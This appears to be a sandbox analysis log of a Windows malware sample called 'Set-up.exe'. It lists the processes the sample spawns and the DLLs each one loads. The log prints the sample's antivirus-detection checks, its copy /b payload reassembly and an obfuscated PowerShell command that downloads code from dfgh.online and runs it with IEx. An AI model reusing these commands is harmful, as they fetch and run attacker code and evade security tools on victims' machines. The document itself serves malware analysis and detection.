Source: C:\Users\user\Desktop\'Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Up Up.cmd & Up.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271185	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Meetup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "BURST" Lazy	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 271185\Auckland.com + Mono + Waves + Offered + Hotel + Statement + Bookstore + Oh + Alerts + Divisions + Az 271185\Auckland.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Initiated + ..\Monitors + ..\Arrived + ..\Spoken + ..\Distribution + ..\Ranks + ..\Gotta f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com Auckland.com f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Process created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp "C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$40428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe "C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp "C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$50428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp	Section loaded: windows.storage.dll
